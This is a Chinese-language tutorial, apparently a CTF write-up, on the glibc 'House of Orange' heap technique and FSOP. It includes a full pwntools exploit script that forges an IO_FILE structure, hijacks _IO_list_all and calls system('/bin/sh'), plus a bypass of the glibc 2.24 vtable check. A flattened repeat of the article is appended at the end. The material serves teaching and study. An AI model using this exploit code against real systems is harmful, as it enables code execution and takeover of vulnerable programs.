io利用之house of orange
字数 1401 2025-08-24 10:10:13

House of Orange IO利用技术详解

一、IO_FILE结构概述

IO_FILE结构体是glibc中用于处理文件输入输出的核心数据结构,分为两个主要部分:

  1. _IO_list_all连接的三个标准流结构体:stderrstdoutstdin
  2. 虚表(vtable)部分,用于支持多态性函数调用

1.1 虚表(vtable)机制

虚表是一个函数指针表,每个IO_FILE对象通过其类型的vtable指针调用正确的函数实现。在glibc中,vtable被用于IO_FILE结构的虚拟函数调度。

// libio/libioP.h (glibc 2.23)
struct _IO_jump_t {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

struct _IO_FILE_plus {
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

二、FSOP(File Stream Oriented Programming)技术

FSOP是一种通过劫持_IO_list_all全局变量来伪造链表的技术,通过调用_IO_flush_all_lockp()函数触发利用。

2.1 触发条件

_IO_flush_all_lockp()会在以下情况下被调用:

  1. libc检测到内存错误时
  2. 执行exit函数时
  3. main函数返回时

2.2 调用链分析

当glibc检测到内存错误时的调用路径:

malloc_printerr -> libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

关键点:

  • _IO_flush_all_lockp会遍历_IO_list_all链表
  • 将当前节点作为_IO_OVERFLOW的参数
  • _IO_OVERFLOW是vtable中的第4个函数指针

三、House of Orange利用技术

3.1 基本思路

  1. 通过堆溢出篡改top chunk的size
  2. 申请一个大于top chunk的块,使top chunk被释放到unsorted bin
  3. 利用show功能泄露libc地址
  4. 通过unsorted bin attack劫持_IO_list_all
  5. 伪造IO_FILE结构和vtable
  6. 触发_IO_flush_all_lockp执行恶意代码

3.2 关键步骤详解

3.2.1 泄露libc地址

add(0x10, 'a')
edit(0x40, b'b'*0x18 + p64(0x21) + p64(0x0000002000000001) + p64(0)*2 + p64(0xfa1))
add(0x1000, 'c'*8)
add(0x400, 'd'*8)
show()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5188

3.2.2 unsorted bin attack

_IO_list_all指向main_arena + 88的位置:

fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)

3.2.3 伪造IO_FILE结构

需要绕过以下检查:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 
        && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
    ) && _IO_OVERFLOW(fp, EOF) == EOF)

伪造结构:

fsop += p64(0)  # write base
fsop += p64(1)  # write ptr (fp->_IO_write_ptr > fp->_IO_write_base)
fsop = fsop.ljust(0xd8, b'\x00')
vtable_addr = heap_base + 0x4f0 + 0xd8 + 8
fsop += p64(vtable_addr)  # vtable pointer
fsop += p64(0)  # __dummy
fsop += p64(0)  # __dummy2
fsop += p64(0)  # __finish
fsop += p64(system)  # _IO_OVERFLOW

四、glibc 2.24及以上的防护与绕过

从glibc 2.24开始,增加了vtable验证机制:

static inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable) {
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *)vtable;
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    if (__glibc_unlikely(offset >= section_length))
        _IO_vtable_check();
    return vtable;
}

4.1 利用_IO_str_jumps虚表

可以使用_IO_str_jumps虚表中的_IO_str_finish函数:

void _IO_str_finish(_IO_FILE *fp, int dummy) {
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
    fp->_IO_buf_base = NULL;
    _IO_default_finish(fp, 0);
}

利用方法:

  1. 将vtable指向_IO_str_jumps - 0x8
  2. fp + 0xe8位置放置system地址
  3. _IO_buf_base设置为"/bin/sh"字符串地址
def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            return possible_IO_str_jumps_offset

io_str_jumps = libc_base + get_IO_str_jumps()
fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
fsop += p64(0)  # write base
fsop += p64(1)  # write ptr
fsop += p64(0)  # write end
fsop += p64(binsh_addr)  # buf base
fsop = fsop.ljust(0xd8, b'\x00')
fsop += p64(io_str_jumps - 0x8)  # vtable
fsop += p64(0)  # _IO_FILE + 0xE8
fsop += p64(system_addr)

五、完整利用代码示例

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
libc = ELF('libc-2.23.so')
io = process('./pwn')

def dbg():
    gdb.attach(io)

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            return possible_IO_str_jumps_offset

def add(size, content):
    io.sendlineafter('Your choice : ', str(1))
    io.sendlineafter('Length of name :', str(size))
    io.sendafter('Name :', content)
    io.sendlineafter('Price of Orange:', str(1))
    io.sendlineafter('Color of Orange:', str(2))

def edit(size, content):
    io.sendlineafter('Your choice : ', str(3))
    io.sendlineafter('Length of name :', str(size))
    io.sendafter('Name:', content)
    io.sendlineafter('Price of Orange:', str(1))
    io.sendlineafter('Color of Orange:', str(2))

def show():
    io.sendlineafter('Your choice : ', str(2))

# Step 1: Leak libc
add(0x10, 'a')
edit(0x40, b'b'*0x18 + p64(0x21) + p64(0x0000002000000001) + p64(0)*2 + p64(0xfa1))
add(0x1000, 'c'*8)
add(0x400, 'd'*8)
show()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5188

# Step 2: Prepare FSOP
io_str_jumps = libc_base + get_IO_str_jumps()
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

# Step 3: Construct fake IO_FILE
fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
fsop += p64(0)  # write base
fsop += p64(1)  # write ptr
fsop += p64(0)  # write end
fsop += p64(binsh_addr)  # buf base
fsop = fsop.ljust(0xd8, b'\x00')
fsop += p64(io_str_jumps - 0x8)  # vtable
fsop += p64(0)  # _IO_FILE + 0xE8
fsop += p64(system_addr)

# Step 4: Trigger
payload = b'd'*0x400 + p64(0) + p64(0x21) + p64(0) + p64(0) + fsop
edit(len(payload), payload)
io.sendline(str(1))  # Trigger malloc error
io.interactive()

六、总结

House of Orange技术要点:

  1. 通过堆溢出和unsorted bin attack控制_IO_list_all
  2. 精心构造伪造的IO_FILE结构绕过各种检查
  3. 在glibc 2.23中可直接伪造vtable
  4. 在glibc 2.24+中需要使用合法vtable如_IO_str_jumps进行利用
  5. 利用内存错误或程序退出时的IO刷新机制触发恶意代码执行

防护措施:

  • glibc 2.24引入的vtable范围检查
  • glibc 2.28后_IO_str_finish不再调用_free_buffer
House of Orange IO利用技术详解 一、IO_ FILE结构概述 IO_ FILE结构体是glibc中用于处理文件输入输出的核心数据结构,分为两个主要部分: 由 _IO_list_all 连接的三个标准流结构体: stderr 、 stdout 和 stdin 虚表(vtable)部分,用于支持多态性函数调用 1.1 虚表(vtable)机制 虚表是一个函数指针表,每个IO_ FILE对象通过其类型的vtable指针调用正确的函数实现。在glibc中,vtable被用于IO_ FILE结构的虚拟函数调度。 二、FSOP(File Stream Oriented Programming)技术 FSOP是一种通过劫持 _IO_list_all 全局变量来伪造链表的技术,通过调用 _IO_flush_all_lockp() 函数触发利用。 2.1 触发条件 _IO_flush_all_lockp() 会在以下情况下被调用: libc检测到内存错误时 执行exit函数时 main函数返回时 2.2 调用链分析 当glibc检测到内存错误时的调用路径: 关键点: _IO_flush_all_lockp 会遍历 _IO_list_all 链表 将当前节点作为 _IO_OVERFLOW 的参数 _IO_OVERFLOW 是vtable中的第4个函数指针 三、House of Orange利用技术 3.1 基本思路 通过堆溢出篡改top chunk的size 申请一个大于top chunk的块,使top chunk被释放到unsorted bin 利用show功能泄露libc地址 通过unsorted bin attack劫持 _IO_list_all 伪造IO_ FILE结构和vtable 触发 _IO_flush_all_lockp 执行恶意代码 3.2 关键步骤详解 3.2.1 泄露libc地址 3.2.2 unsorted bin attack 将 _IO_list_all 指向main_ arena + 88的位置: 3.2.3 伪造IO_ FILE结构 需要绕过以下检查: 伪造结构: 四、glibc 2.24及以上的防护与绕过 从glibc 2.24开始,增加了vtable验证机制: 4.1 利用_ IO_ str_ jumps虚表 可以使用 _IO_str_jumps 虚表中的 _IO_str_finish 函数: 利用方法: 将vtable指向 _IO_str_jumps - 0x8 在 fp + 0xe8 位置放置system地址 将 _IO_buf_base 设置为"/bin/sh"字符串地址 五、完整利用代码示例 六、总结 House of Orange技术要点: 通过堆溢出和unsorted bin attack控制 _IO_list_all 精心构造伪造的IO_ FILE结构绕过各种检查 在glibc 2.23中可直接伪造vtable 在glibc 2.24+中需要使用合法vtable如 _IO_str_jumps 进行利用 利用内存错误或程序退出时的IO刷新机制触发恶意代码执行 防护措施: glibc 2.24引入的vtable范围检查 glibc 2.28后 _IO_str_finish 不再调用 _free_buffer